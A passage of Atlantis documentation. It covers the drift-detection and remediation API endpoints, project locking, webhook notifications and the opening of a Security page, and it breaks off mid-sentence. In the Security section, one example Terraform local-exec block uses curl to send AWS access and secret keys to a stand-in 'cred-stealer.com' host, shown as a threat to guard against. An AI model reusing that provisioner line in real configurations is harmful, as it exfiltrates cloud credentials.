endpoints. When [drift webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#drift-detection-webhooks) are configured (`event: drift`), successful detection runs send webhook notifications automatically to Slack channels and/or HTTP endpoints, including no-drift heartbeat results. Prerequisites * Drift detection storage must be enabled on the Atlantis server (`--enable-drift-detection`) #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#parameters-3) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | ref | string | Yes | Git reference (branch/tag/commit) to check for drift | | base\_branch | string | Conditional | Branch context for repo-config branch filters and undiverged checks | | type | string | Yes | Type of the VCS provider (`Github`/`Gitlab`/`Gitea`) | | projects | \[\]string | No | List of project names to check. If empty, all are checked | | paths | \[\]DriftDetectionPath | No | List of paths to check. If empty, project names are used | | include\_plan\_output | boolean | No | If true, include `plan_output` for each project in the response. Defaults to `false` | #### DriftDetectionPath [​](https://www.runatlantis.io/docs/api-endpoints.html#driftdetectionpath) | Name | Type | Required | Description | | --- | --- | --- | --- | | directory | string | Yes | Relative path to the Terraform directory | | workspace | string | No | Terraform workspace. If omitted, the default workspace is used. | Path selectors are literal normalized repo-relative paths. Glob patterns such as `envs/*` are not supported. NOTE At least one of `projects` or `paths` should be specified for targeted detection. If both are empty, drift detection may scan all discovered projects. `projects` and `paths` are mutually exclusive for drift detection; use one selector type per request. Status Side Effects Drift detection suppresses normal Atlantis plan, policy check, apply, and hook commit statuses. Drift-specific webhook notifications can still be sent for successful detection runs, including no-drift heartbeat results, when drift webhooks are configured. Drift detection does not run Terraform apply, but it does execute the normal plan lifecycle. Configured pre-workflow hooks, custom workflows, custom plan steps, and Terraform plan commands can run server-side outside a pull request context. Drift detection does not bypass team allowlists. If a configured team allowlist cannot authorize the API request, the request fails instead of scanning or reconciling an empty project set. PR-state `plan_requirements` such as `approved` or `mergeable` also fail closed for non-PR drift detection. Branch Context For branch refs such as `main`, `feature/foo`, or `refs/heads/feature/foo`, Atlantis uses `ref` as the branch context and fetches the branch namespace explicitly. Ambiguous bare refs such as `prod`, `latest`, `stable`, or `v1.2.3` require `base_branch` but are still fetched as branch names. For raw commit SHAs and explicit `refs/tags/...` refs, provide `base_branch` so repo-config branch filters and undiverged checks are evaluated against the intended branch. Use the explicit `refs/tags/...` form for tags. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-1) shell curl --request POST 'https:///api/drift/detect' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "projects": ["vpc", "ec2"], "include_plan_output": true }' #### Sample Request (with paths) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-with-paths) shell curl --request POST 'https:///api/drift/detect' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "paths": [\ {"directory": "modules/vpc", "workspace": "production"},\ {"directory": "modules/ec2", "workspace": "production"}\ ], "include_plan_output": true }' Plan Output Set `include_plan_output: true` on the request to have the response include `plan_output` for each project — the Terraform plan text for that project. For the built-in plan step this is typically normalized for diff rendering; the exact content depends on the configured workflow, since a custom `run` step can produce arbitrary, unnormalized output instead. It defaults to `false`, since plan text can be large; when omitted or `false`, `plan_output` is not included even for projects with a successful plan. It is also omitted when there is no plan output (for example, if the project errored before a plan ran). `plan_output` is only ever returned by this detect response; it is never included in `GET /api/drift/status`, since it is never persisted to drift storage. Plan Output May Contain Sensitive Data Before this field existed, `POST /api/drift/detect` only returned numeric drift counts. With `include_plan_output: true`, responses can include resource attribute values and, for custom `run`\-step workflows, arbitrary command output. The endpoint's auth boundary is unchanged (the same API token as other drift/remediation endpoints), so this is not a new authorization gap, but the data sensitivity of the response changes materially when this field is enabled. Only `run`\-step filter-regex redaction (if configured) applies to plan output; it is not otherwise scrubbed. #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-success-3) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440000", "repository": "owner/repo", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "ref": "main",\ "detection_id": "550e8400-e29b-41d4-a716-446655440000",\ "has_drift": true,\ "drift": {\ "to_add": 1,\ "to_change": 2,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 3,\ "summary": "Plan: 1 to add, 2 to change, 0 to destroy.",\ "changes_outside": false\ },\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated in-place\n\nPlan: 1 to add, 2 to change, 0 to destroy.",\ "last_checked": "2025-01-21T10:30:00Z"\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "ref": "main",\ "has_drift": false,\ "last_checked": "2025-01-21T10:30:00Z"\ }\ ], "detected_at": "2025-01-21T10:30:00Z", "summary": { "total_projects": 2, "projects_with_drift": 1, "projects_without_drift": 1, "projects_with_errors": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints.html#error-responses-1) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Invalid request (missing required fields) | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 503 | SERVICE\_UNAVAILABLE | Drift detection storage is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error during drift detection | ### GET /api/drift/remediate [​](https://www.runatlantis.io/docs/api-endpoints.html#get-api-drift-remediate) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-4) List remediation results for a repository. Returns a paginated list of past remediation operations. This is an authenticated endpoint that requires the API secret. Prerequisites Drift detection must be enabled on the Atlantis server. Destructive remediation apply additionally requires `--enable-drift-remediation`. #### Query Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#query-parameters) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | type | string | Yes | VCS provider type (e.g., `Github`, `Gitlab`, `Gitea`) | | limit | int | No | Maximum number of results to return (default: 10, max: 100) | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-2) shell curl --request GET 'https:///api/drift/remediate?repository=owner/repo&type=Github' \ --header 'X-Atlantis-Token: ' #### Sample Request (with limit) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-with-limit) shell curl --request GET 'https:///api/drift/remediate?repository=owner/repo&type=Github&limit=10' \ --header 'X-Atlantis-Token: ' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response) json { "success": true, "data": { "repository": "owner/repo", "count": 2, "results": [\ {\ "id": "550e8400-e29b-41d4-a716-446655440000",\ "repository": "owner/repo",\ "ref": "main",\ "action": "plan",\ "status": "success",\ "started_at": "2025-01-21T10:30:00Z",\ "completed_at": "2025-01-21T10:31:00Z",\ "projects": [],\ "summary": {\ "total_projects": 2,\ "success_count": 2,\ "failure_count": 0\ }\ },\ {\ "id": "550e8400-e29b-41d4-a716-446655440001",\ "repository": "owner/repo",\ "ref": "main",\ "action": "apply",\ "status": "partial",\ "started_at": "2025-01-21T09:00:00Z",\ "completed_at": "2025-01-21T09:05:00Z",\ "projects": [],\ "summary": {\ "total_projects": 3,\ "success_count": 2,\ "failure_count": 1\ }\ }\ ] }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Sample Response (no results) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-no-results) json { "success": true, "data": { "repository": "owner/repo", "count": 0, "results": [] }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440001", "timestamp": "2025-01-21T10:30:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints.html#error-responses-2) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Missing required `repository` parameter | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 503 | SERVICE\_UNAVAILABLE | Drift detection storage is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error retrieving remediation data | ### GET /api/drift/remediate/ [​](https://www.runatlantis.io/docs/api-endpoints.html#) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-5) Get a specific remediation result by ID. Returns detailed information about a past remediation operation including per-project results. This is an authenticated endpoint that requires the API secret. Prerequisites Drift detection must be enabled on the Atlantis server. Destructive remediation apply additionally requires `--enable-drift-remediation`. #### Path Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#path-parameters) | Name | Type | Required | Description | | --- | --- | --- | --- | | id | string | Yes | The unique identifier of the remediation | Which ID? The `id` here is the `id` field returned by a prior `POST /api/drift/remediate` call — not the `detection_id`/`id` returned by `POST /api/drift/detect`. Detection and remediation runs are tracked separately, each with their own ID space. To inspect the plan output for a remediation, call `POST /api/drift/remediate` first and use the `id` from its response. #### Query Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#query-parameters-1) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | type | string | Yes | Type of the VCS provider (`Github`/`Gitlab`/`Gitea`) | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-3) shell curl --request GET 'https:///api/drift/remediate/550e8400-e29b-41d4-a716-446655440000?repository=owner/repo&type=Github' \ --header 'X-Atlantis-Token: ' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-1) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440000", "repository": "owner/repo", "ref": "main", "action": "plan", "status": "success", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:31:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated...",\ "drift_before": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ }\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "status": "success",\ "plan_output": "No changes. Infrastructure is up-to-date."\ }\ ], "summary": { "total_projects": 2, "success_count": 2, "failure_count": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:31:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints.html#error-responses-3) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Missing required parameter | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 403 | FORBIDDEN | Repository is not in the allowlist | | 404 | NOT\_FOUND | Remediation result not found | | 503 | SERVICE\_UNAVAILABLE | Drift detection storage is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error retrieving remediation data | Other Endpoints [​](https://www.runatlantis.io/docs/api-endpoints.html#other-endpoints) ---------------------------------------------------------------------------------------- Most endpoints listed in this section are non-destructive and therefore don't require authentication nor a special secret token. `GET /api/drift/status` is an authenticated drift API read endpoint and requires `X-Atlantis-Token`. ### GET /api/locks [​](https://www.runatlantis.io/docs/api-endpoints.html#get-api-locks) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-6) List the currently held project locks. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-4) shell curl --request GET 'https:///api/locks' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-2) json { "Locks": [\ {\ "Name": "owner/repo/./default/terraform",\ "ProjectName": "terraform",\ "ProjectRepo": "owner/repo",\ "ProjectRepoPath": ".",\ "PullID": "123",\ "PullURL": "https://github.com/owner/repo/pull/123",\ "User": "jdoe",\ "Workspace": "default",\ "Time": "2025-02-13T16:47:42.040856-08:00"\ }\ ] } #### Sample Response (No Locks) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-no-locks) json { "Locks": [] } ### GET /api/drift/status [​](https://www.runatlantis.io/docs/api-endpoints.html#get-api-drift-status) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-7) Return the drift status for a repository. This endpoint provides cached drift detection results from previous plan executions. Drift detection must be enabled on the server for this endpoint to work and requires the configured API token. Prerequisites Drift detection storage must be enabled on the Atlantis server. If not enabled, this endpoint returns a `503 Service Unavailable` error. #### Query Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#query-parameters-2) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | type | string | Yes | VCS provider type (e.g., `Github`, `Gitlab`, `Gitea`) | | project | string | No | Filter by project name | | path | string | No | Filter by literal normalized repository-relative project path | | workspace | string | No | Filter by Terraform workspace | | ref | string | No | Filter by git reference | | base\_branch | string | No | Filter by branch context used when drift was detected | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-5) shell curl --request GET 'https:///api/drift/status?repository=owner/repo&type=Github' \ --header 'X-Atlantis-Token: ' #### Sample Request (with filters) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-with-filters) shell curl --request GET 'https:///api/drift/status?repository=owner/repo&type=Github&project=vpc&path=modules/vpc&workspace=production&ref=main&base_branch=main' \ --header 'X-Atlantis-Token: ' #### Sample Response (with drift) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-with-drift) json { "success": true, "data": { "repository": "owner/repo", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "ref": "main",\ "has_drift": true,\ "drift": {\ "to_add": 2,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 3,\ "summary": "Plan: 2 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ },\ "last_checked": "2025-01-21T10:30:00Z"\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "ref": "main",\ "has_drift": false,\ "last_checked": "2025-01-21T10:25:00Z"\ }\ ], "checked_at": "2025-01-21T10:30:00Z", "summary": { "total_projects": 2, "projects_with_drift": 1, "projects_without_drift": 1, "projects_with_errors": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Sample Response (no drift data) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-no-drift-data) json { "success": true, "data": { "repository": "owner/repo", "projects": [], "checked_at": "2025-01-21T10:30:00Z", "summary": { "total_projects": 0, "projects_with_drift": 0, "projects_without_drift": 0, "projects_with_errors": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440001", "timestamp": "2025-01-21T10:30:00Z" } #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints.html#error-responses-4) | Status Code | Error Code | Description | | --- | --- | --- | | 400 | VALIDATION\_ERROR | Missing required `repository` parameter | | 401 | UNAUTHORIZED | Invalid or missing `X-Atlantis-Token` header | | 403 | FORBIDDEN | Repository is not in the allowlist | | 503 | SERVICE\_UNAVAILABLE | Drift detection is not enabled on the server | | 500 | INTERNAL\_ERROR | Internal error retrieving drift data | ### GET /status [​](https://www.runatlantis.io/docs/api-endpoints.html#get-status) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-8) Return the status of the Atlantis server. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-6) shell curl --request GET 'https:///status' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-3) json { "shutting_down": false, "in_progress_operations": 0, "version": "0.22.3" } ### GET /healthz [​](https://www.runatlantis.io/docs/api-endpoints.html#get-healthz) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-9) Liveness endpoint. Returns 200 if the Atlantis process is running. Does not check external dependencies. Suitable for Kubernetes liveness probes. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-7) shell curl --request GET 'https:///healthz' #### Sample Response [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-4) json { "status": "ok" } ### GET /readyz [​](https://www.runatlantis.io/docs/api-endpoints.html#get-readyz) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-10) Readiness endpoint. Returns 200 if the server is ready to handle requests, including connectivity to external dependencies (e.g. Redis). Returns 503 if any dependency is unreachable. Suitable for Kubernetes readiness probes. #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-8) shell curl --request GET 'https:///readyz' #### Sample Response (healthy) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-healthy) json { "status": "ok" } #### Sample Response (unhealthy) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-unhealthy) Returns HTTP 503: json { "status": "error", "error": "failed to ping redis: ..." } ### GET /debug/pprof [​](https://www.runatlantis.io/docs/api-endpoints.html#get-debug-pprof) If `--enable-profiling-api` is set to true, it adds endpoints under this path to expose server's profiling data. See [profiling Go programs](https://go.dev/blog/pprof) for more information. --- # Locking | Atlantis [Skip to content](https://www.runatlantis.io/docs/locking.html#VPContent) On this page Locking [​](https://www.runatlantis.io/docs/locking.html#locking) ================================================================== When `plan` is run, the directory and Terraform workspace are **Locked** until the pull request is merged or closed, or the plan is manually deleted. If another user attempts to `plan` for the same directory and workspace in a different pull request they'll see this error: ![Lock Comment](https://www.runatlantis.io/assets/lock-comment.CHfILilb.png) Which links them to the pull request that holds the lock. NOTE Only the directory in the repo and Terraform workspace are locked, not the whole repo. Atlantis also checks the global apply lock before running `atlantis apply`. If Atlantis cannot reach the lock backend while checking that global lock, it fails closed and rejects the apply until the backend is reachable again. Why [​](https://www.runatlantis.io/docs/locking.html#why) ---------------------------------------------------------- 1. Because `atlantis apply` is being done before the pull request is merged, after an apply your `main` branch does not represent the most up-to-date version of your infrastructure anymore. With locking, you can ensure that no other changes will be made until the pull request is merged. Why not apply on merge? Sometimes `terraform apply` fails. If the apply were to fail after the pull request was merged, you would need to create a new pull request to fix it. With locking + applying on the branch, you effectively mimic merging to main but with the added ability to re-plan/apply multiple times if things don't work. 2. If there is already a `plan` in progress, other users won't see a plan that will be made invalid after the in-progress plan is applied. Viewing Locks [​](https://www.runatlantis.io/docs/locking.html#viewing-locks) ------------------------------------------------------------------------------ To view locks, go to the URL that Atlantis is hosted at: ![Locks View](https://www.runatlantis.io/assets/locks-ui.Dgj-2t2X.png) You can click on a lock to view its details: ![Lock Detail View](https://www.runatlantis.io/assets/lock-detail-ui.gxoWV8RY.png) Unlocking [​](https://www.runatlantis.io/docs/locking.html#unlocking) ---------------------------------------------------------------------- The project and workspace will be automatically unlocked when the PR is merged or closed. To unlock the project and workspace without completing an `apply` and merging, comment `atlantis unlock` on the PR, or click the link at the bottom of the plan comment to discard the plan and delete the lock where it says **"To discard this plan click here"**: ![Locks View](https://www.runatlantis.io/assets/lock-delete-comment.Ck3abZEV.png) The link will take you to the lock detail view where you can click **Discard Plan and Unlock** to delete the lock. ![Lock Detail View](https://www.runatlantis.io/assets/lock-detail-ui.gxoWV8RY.png) Once a plan is discarded, you'll need to run `plan` again prior to running `apply` when you go back to that pull request. Relationship to Terraform State Locking [​](https://www.runatlantis.io/docs/locking.html#relationship-to-terraform-state-locking) ---------------------------------------------------------------------------------------------------------------------------------- Atlantis does not conflict with [Terraform State Locking](https://developer.hashicorp.com/terraform/language/state/locking) . Under the hood, all Atlantis is doing is running `terraform plan` and `apply` and so all of the locking built in to those commands by Terraform isn't affected. In more detail, Terraform state locking locks the state while you run `terraform apply` so that multiple applies can't run concurrently. Atlantis's locking is at a higher level because it prevents multiple pull requests from working on the same state. Locking and Drift Detection [​](https://www.runatlantis.io/docs/locking.html#locking-and-drift-detection) ---------------------------------------------------------------------------------------------------------- When drift detection or remediation runs via the [API](https://www.runatlantis.io/docs/api-endpoints) with `PR: 0` (non-PR workflow), Atlantis still acquires and releases working directory locks to prevent concurrent operations on the same project. However, since these operations are not associated with a pull request, they do not create PR-level locks visible in the Locks UI. The working directory lock is released automatically after each drift detection or remediation operation completes. --- # Sending notifications via webhooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#VPContent) On this page Sending notifications via webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#sending-notifications-via-webhooks) =================================================================================================================================================== It is possible to send notifications to external systems whenever an apply is being done or drift is detected. You can make requests to any HTTP endpoint or send messages directly to your Slack channel. NOTE The `apply` and `drift` events are supported. Configuration [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#configuration) --------------------------------------------------------------------------------------------------------- Webhooks are configured in Atlantis [server-side configuration](https://www.runatlantis.io/docs/server-configuration) . There can be many webhooks: sending notifications to different destinations or for different workspaces/branches. Here is example configuration to send Slack messages for every apply: yaml webhooks: - event: apply kind: slack channel: my-channel-id If you are deploying Atlantis as a Helm chart, this can be implemented via the `config` parameter available for [chart customizations](https://github.com/runatlantis/helm-charts#customization) : yaml ## Use Server Side Config, ## ref: https://www.runatlantis.io/docs/server-configuration.html config: | --- webhooks: - event: apply kind: slack channel: my-channel-id ### Filter on workspace/branch [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#filter-on-workspace-branch) To limit notifications to particular workspaces or branches, use `workspace-regex` or `branch-regex` parameters. If the workspace **and** branch matches respective regex, an event will be sent. Note that empty regular expression (a result of unset parameter) matches every string. Using HTTP webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#using-http-webhooks) --------------------------------------------------------------------------------------------------------------------- You can send POST requests with JSON payload to any HTTP/HTTPS server. ### Configuring Atlantis [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#configuring-atlantis) In your Atlantis [server-side configuration](https://www.runatlantis.io/docs/server-configuration) you can add the following: yaml webhooks: - event: apply kind: http url: https://example.com/hooks The `apply` event information will be POSTed to `https://example.com/hooks`. You can supply any additional headers with `--webhook-http-headers` parameter (or environment variable), for example for authentication purposes. See [webhook-http-headers](https://www.runatlantis.io/docs/server-configuration#webhook-http-headers) for details. ### JSON payload [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#json-payload) The payload is a JSON-marshalled [ApplyResult](https://pkg.go.dev/github.com/runatlantis/atlantis/server/events/webhooks#ApplyResult) struct. Example payload: json { "Workspace": "default", "Repo": { "FullName": "octocat/Hello-World", "Owner": "octocat", "Name": "Hello-World", "CloneURL": "https://:@github.com/octocat/Hello-World.git", "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", "VCSHost": { "Hostname": "github.com", "Type": 0 } }, "Pull": { "Num": 2137, "HeadCommit": "7fd1a60b01f91b314f59955a4e4d4e80d8edf11d", "URL": "https://github.com/octocat/Hello-World/pull/2137", "HeadBranch": "feature/some-branch", "BaseBranch": "main", "Author": "octocat", "Body": "This is the pull request description.", "State": 0, "BaseRepo": { "FullName": "octocat/Hello-World", "Owner": "octocat", "Name": "Hello-World", "CloneURL": "https://:@github.com/octocat/Hello-World.git", "SanitizedCloneURL": "https://:@github.com/octocat/Hello-World.git", "VCSHost": { "Hostname": "github.com", "Type": 0 } } }, "User": { "Username": "octocat", "Teams": null }, "Success": true, "Directory": "terraform/example", "ProjectName": "example-project" } For apply events from pull requests, `Pull.HeadBranch` is the source branch from the pull request and `Pull.Body` is the pull request description when the VCS provider supplies one. Using Slack hooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#using-slack-hooks) ----------------------------------------------------------------------------------------------------------------- For this you'll need to: * Create a Bot user in Slack * Configure Atlantis to send notifications to Slack. ### Configuring Slack for Atlantis [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#configuring-slack-for-atlantis) * Go to [Slack: Apps](https://api.slack.com/apps) * Click the `Create New App` button * Select `From scratch` in the dialog that opens * Give it a name, e.g. `atlantis-bot`. * Select your Slack workspace * Click `Create App` * On the left go to `oAuth & Permissions` * Scroll down to Scopes | Bot Token Scopes and add the following OAuth scopes: * `channels:read` * `chat:write` * `groups:read` * `incoming-webhook` * `mpim:read` * Install the app onto your Slack workspace * Copy the `Bot User OAuth Token` and provide it to Atlantis by using `--slack-token=xoxb-xxxxxxxxxxx` or via the environment `ATLANTIS_SLACK_TOKEN=xoxb-xxxxxxxxxxx`. * Create a channel in your Slack workspace (e.g. `my-channel`) or use existing * Add the app to Created channel or existing channel ( click channel name then tab integrations, there Click "Add apps" ### Configuring Atlantis [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#configuring-atlantis-1) After following the above steps it is time to configure Atlantis. Assuming you have already provided the `slack-token` (via parameter or environment variable) you can now instruct Atlantis to send `apply` events to Slack. In your Atlantis [server-side configuration](https://www.runatlantis.io/docs/server-configuration) you can now add the following: yaml webhooks: - event: apply kind: slack channel: my-channel-id Slack apply messages for pull requests include a `Branch` field using the pull request head branch, and include a `Description` field when the pull request has a description. Drift detection webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#drift-detection-webhooks) ------------------------------------------------------------------------------------------------------------------------------- When [drift detection](https://www.runatlantis.io/docs/api-endpoints#post-apidriftdetect) is enabled (`--enable-drift-detection`), you can configure webhooks to be notified whenever drift detection completes successfully. Drift webhooks are sent automatically after successful `POST /api/drift/detect` requests, including no-drift heartbeat results. NOTE Drift webhooks use `event: drift` in the webhook configuration. They are independent from `event: apply` webhooks. ### Configuring drift webhooks [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#configuring-drift-webhooks) Drift webhooks are configured alongside apply webhooks in the same `webhooks` configuration block. You can send drift notifications to Slack, HTTP endpoints, or both: yaml webhooks: # Apply webhook (existing) - event: apply kind: slack channel: apply-notifications # Drift webhooks - event: drift kind: slack channel: drift-alerts - event: drift kind: http url: https://example.com/drift-webhook NOTE Unlike apply webhooks, drift webhooks do not support `workspace-regex` or `branch-regex` filtering because drift detection operates at the repository level, not in the context of a pull request. ### Slack drift message format [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#slack-drift-message-format) When drift detection completes successfully, the Slack message includes: * **Color**: Red if drift was found, green if no drift * **Text**: "Drift detected in owner/repo" or "No drift in owner/repo" * **Fields**: Repository, Ref, Projects with drift (count), Detection ID ### HTTP drift webhook payload [​](https://www.runatlantis.io/docs/sending-notifications-via-webhooks.html#http-drift-webhook-payload) The HTTP webhook sends a POST request with the following JSON payload: json { "repository": "octocat/Hello-World", "ref": "main", "detection_id": "550e8400-e29b-41d4-a716-446655440000", "projects_with_drift": 1, "total_projects": 2, "projects": [\ {\ "project_name": "vpc",\ "path": "modules/vpc",\ "workspace": "production",\ "has_drift": true,\ "to_add": 1,\ "to_change": 2,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "summary": "Plan: 1 to add, 2 to change, 0 to destroy."\ },\ {\ "project_name": "ec2",\ "path": "modules/ec2",\ "workspace": "production",\ "has_drift": false,\ "to_add": 0,\ "to_change": 0,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "summary": ""\ }\ ] } The same `--webhook-http-headers` headers configured for apply webhooks are also sent with drift webhook requests. --- # Security | Atlantis [Skip to content](https://www.runatlantis.io/docs/security.html#VPContent) On this page Security [​](https://www.runatlantis.io/docs/security.html#security) ===================================================================== Exploits [​](https://www.runatlantis.io/docs/security.html#exploits) --------------------------------------------------------------------- Because you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely. Atlantis could be exploited by * An attacker submitting a pull request that contains a malicious Terraform file that uses a malicious provider or an [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) that Atlantis then runs `terraform plan` on (which it does automatically unless you've turned off automatic plans). * Running `terraform apply` on a malicious Terraform file with [local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec) tf resource "null_resource" "null" { provisioner "local-exec" { command = "curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" } } * Running malicious custom build commands specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** `main`. * Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to. Mitigations [​](https://www.runatlantis.io/docs/security.html#mitigations) --------------------------------------------------------------------------- ### Don't Use On Public Repos [​](https://www.runatlantis.io/docs/security.html#don-t-use-on-public-repos) Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. ### Don't Use `--allow-fork-prs` [​](https://www.runatlantis.io/docs/security.html#don-t-use-allow-fork-prs) If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. ### `--repo-allowlist` [​](https://www.runatlantis.io/docs/security.html#repo-allowlist) Atlantis requires you to specify an allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: * Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` * Your whole organization: `--repo-allowlist=github.com/runatlantis/*` * Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` * You can also omit specific repos: `--repo-allowlist='github.com/runatlantis/*,!github.com/runatlantis/untrusted-repo'` * All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. ### Protect Terraform Planning [​](https://www.runatlantis.io/docs/security.html#protect-terraform-planning) If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using 